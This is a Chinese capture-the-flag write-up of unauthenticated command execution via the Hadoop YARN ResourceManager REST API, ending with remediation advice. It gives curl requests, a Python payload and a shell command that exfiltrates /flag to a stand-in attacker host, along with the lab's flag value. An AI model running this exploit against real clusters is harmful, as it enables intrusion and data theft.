解题报告:Hadoop YARN ResourceManager 未授权 RCE
题目名称 :Hadoop YARN ResourceManager(Unauthorized)
难度 :简单
分类 :渗透
Flag :flag{41d1290e-e2d2-4028-85ce-43909a1787c4}
漏洞背景
Hadoop YARN(Yet Another Resource Negotiator)是 Apache Hadoop 的集群资源管理系统。YARN ResourceManager 提供了一套 REST API 用于集群管理,默认情况下该 API 无需任何认证即可访问。攻击者可以通过以下步骤在集群节点上执行任意命令:
- 调用
POST /ws/v1/cluster/apps/new-application创建新的 Application ID - 调用
POST /ws/v1/cluster/apps提交包含恶意命令的 Application - YARN 的 NodeManager 会在容器中执行该命令
靶机信息
| 项目 | 值 |
|---|---|
| 靶机 IP | 43.192.45.210 |
| 服务端口 | 8088(YARN ResourceManager Web UI) |
| 服务版本 | Hadoop YARN(Jetty 6.1.26) |
| 目标文件 | /flag |
利用过程
第一步:确认服务连通性
bash
curl -v http://43.192.45.210:8088/
# 返回 HTTP 302 → /cluster,确认 YARN 服务正常运行
第二步:获取新 Application ID
bash
curl -s -X POST "http://43.192.45.210:8088/ws/v1/cluster/apps/new-application" \
-H "Content-Type: application/json"
# 返回:{"application-id":"application_1776602744486_0011",...}
第三步:提交恶意 Application
通过 Python 构造 JSON payload,命令使用 /bin/sh -c 执行,将 /flag 内容通过 curl 外带到攻击者服务器:
python
command = '/bin/sh -c \'curl -sk "https://ATTACKER/?r=$(cat /flag 2>&1 | tr -d \'\\n\')"\''
payload = {
"application-id": app_id,
"application-name": "exploit",
"am-container-spec": {
"commands": {"command": command}
},
"application-type": "YARN",
"unmanaged-AM": False,
"max-app-attempts": 1,
"resource": {"memory": 1024, "vCores": 1},
...
}
第四步:接收外带数据
在攻击者服务器上启动 HTTP 服务,收到请求:
GET /flag1?r=flag41d1290e-e2d2-4028-85ce-43909a1787c4 HTTP/1.1
Flag: flag{41d1290e-e2d2-4028-85ce-43909a1787c4}
关键技术点
| 技术点 | 说明 |
|---|---|
| 无认证 REST API | YARN ResourceManager 默认不需要认证 |
| Application 提交 | 通过 REST API 提交包含任意命令的 Application |
| 命令执行环境 | NodeManager 容器中以 hadoop 用户执行 |
| 外带方式 | 靶机可以访问外网,用 curl 将结果发送到攻击者服务器 |
| base64 问题 | 靶机环境 base64 -w 0 不支持,改用 tr -d '\n' 去除换行 |
修复建议
- 为 YARN ResourceManager REST API 启用 Kerberos 认证
- 配置防火墙,限制 8088 端口只允许内网访问
- 启用 YARN 的 ACL(Access Control List)功能
- 升级到支持认证的 Hadoop 版本并正确配置安全模式